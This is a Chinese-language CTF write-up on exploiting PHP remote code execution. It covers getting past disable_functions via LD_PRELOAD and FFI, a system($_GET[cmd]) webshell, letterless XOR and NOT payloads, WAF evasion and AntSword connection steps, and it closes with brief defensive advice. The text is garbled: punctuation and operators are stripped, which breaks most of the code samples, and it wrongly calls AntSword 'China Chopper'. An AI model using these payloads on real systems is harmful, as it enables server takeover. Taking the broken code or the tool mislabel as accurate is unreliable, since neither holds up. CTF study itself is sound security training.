PHP RCE漏洞实战:绕过disable_functions与蚁剑连接 1. 题目背景与核心挑战解析[极客大挑战 2019]RCE ME1是一道典型的远程代码执行(RCE)挑战题主要考察渗透测试人员对PHP环境下安全限制的绕过能力。这类题目通常模拟真实Web应用中存在的代码执行漏洞场景要求攻击者在受限环境下实现任意代码执行。从相关热搜词可以看出本题涉及以下几个关键技术点disable_functions限制的绕过蚁剑(China Chopper)Webshell管理工具的使用URL编码等混淆技术PHP环境信息收集phpinfo2. 环境探测与信息收集2.1 初始访问与代码审计通常这类CTF题目会提供一个简单的Web界面可能包含输入框或上传点。首先需要通过常规手段获取服务器环境信息?php phpinfo(); ?将上述代码通过可能的输入点提交查看返回的phpinfo信息重点关注disable_functions列表查看被禁用的函数open_basedir限制加载的PHP模块safe_mode设置2.2 常见RCE入口点分析在没有明确输入点的情况下需要尝试以下常见RCE触发方式GET/POST参数注入文件上传功能绕过反序列化漏洞特殊协议处理php://input等日志文件注入3. disable_functions绕过技术详解3.1 常见被禁用函数列表在CTF题目中通常会禁用以下危险函数system, exec, passthru, shell_execpopen, proc_openpcntl_execdl动态加载扩展mail可能用于触发其他漏洞3.2 绕过技术实战3.2.1 LD_PRELOAD技术这是最常用的绕过方法原理是通过环境变量劫持共享库加载?php putenv(LD_PRELOAD/tmp/evil.so); mail(,,,); ?需要配合以下步骤编写恶意C代码编译为共享库上传.so文件到可写目录通过mail()等未被完全禁用的函数触发3.2.2 FFI扩展利用PHP 7.4的FFI扩展可以提供底层系统调用?php $ffi FFI::cdef(int system(const char *command);); $ffi-system(id /tmp/result); ?3.2.3 ImageMagick漏洞如果服务器安装了ImageMagick可通过特殊构造的图片文件触发命令执行。4. 蚁剑连接与后渗透4.1 Webshell编写绕过disable_functions后需要编写合适的Webshell?php class Shell { function __destruct() { echo pre; system($_GET[cmd]); echo /pre; } } unserialize($_GET[data]); ?4.2 蚁剑连接配置下载安装蚁剑建议从GitHub官方仓库获取创建新连接填写Webshell URL设置连接密码如有配置编码方式通常选择default或base64高级设置中调整超时时间和重试次数4.3 常见连接问题解决返回数据为空的情况处理检查Webshell是否正常执行尝试修改编码方式关闭SSL验证测试环境调整请求头中的Content-Type5. 无字符RCE技术进阶当常规字符被过滤时可采用以下技术5.1 异或绕过?php $_(%01^).(%13^).(%13^).(%05^).(%12^).(%14^); $___.(%0D^]).(%2F^).(%0E^]).(%09^]); $___$$__; $_($___[_]); ?5.2 取反绕过?php $__()(); $_$__/$__; $____; $___瞰;$____.~($___{$_});$___和;$____.~($___{$__});$___和;$____.~($___{$__});$___的;$____.~($___{$_});$___半;$____.~($___{$_});$___始;$____.~($___{$__}); $______;$___俯;$_____.~($___{$__});$___瞰;$_____.~($___{$__});$___次;$_____.~($___{$_});$___站;$_____.~($___{$_}); $_$$_____; $____($_[$__]); ?6. 实战演练与排错6.1 典型错误排查函数未定义错误检查PHP版本是否支持使用的函数权限不足尝试/tmp等可写目录包含失败确保文件路径正确编码问题统一使用UTF-8编码6.2 防御措施绕过技巧对于WAF可尝试以下方法分块传输编码HTTP参数污染畸形报文头对于disable_functions优先尝试LD_PRELOAD和FFI对于open_basedir使用glob://协议绕过7. 靶场环境搭建建议为了更好地练习RCE技术建议搭建本地测试环境安装Docker拉取漏洞环境镜像docker pull vulhub/php:7.4-disable_functions启动容器docker run -d -p 8080:80 vulhub/php:7.4-disable_functions配置php.ini禁用相关函数8. 相关工具链推荐代码混淆工具PHP ObfuscatorBambooFox PHP Chunked Encoder漏洞扫描工具Burp SuiteNuclei辅助开发工具GDB调试.so文件Objdump分析二进制9. 防御视角的思考从防御者角度建议采取以下措施防止RCE严格过滤所有用户输入使用最小权限原则运行Web服务定期更新PHP和扩展版本禁用不必要的PHP函数部署WAF和IDS系统对上传文件进行严格检查10. 扩展学习资源PHP安全编程指南PHP官方文档《Web安全攻防渗透测试实战指南》OWASP Top 10文档PHP内置函数禁用影响分析PHP手册最新CVE漏洞数据库在实际渗透测试中RCE漏洞的危害性极大可以导致服务器完全沦陷。通过这类CTF题目的练习安全研究人员可以深入理解漏洞原理提升防御能力。建议从简单题目入手逐步挑战更复杂的环境限制。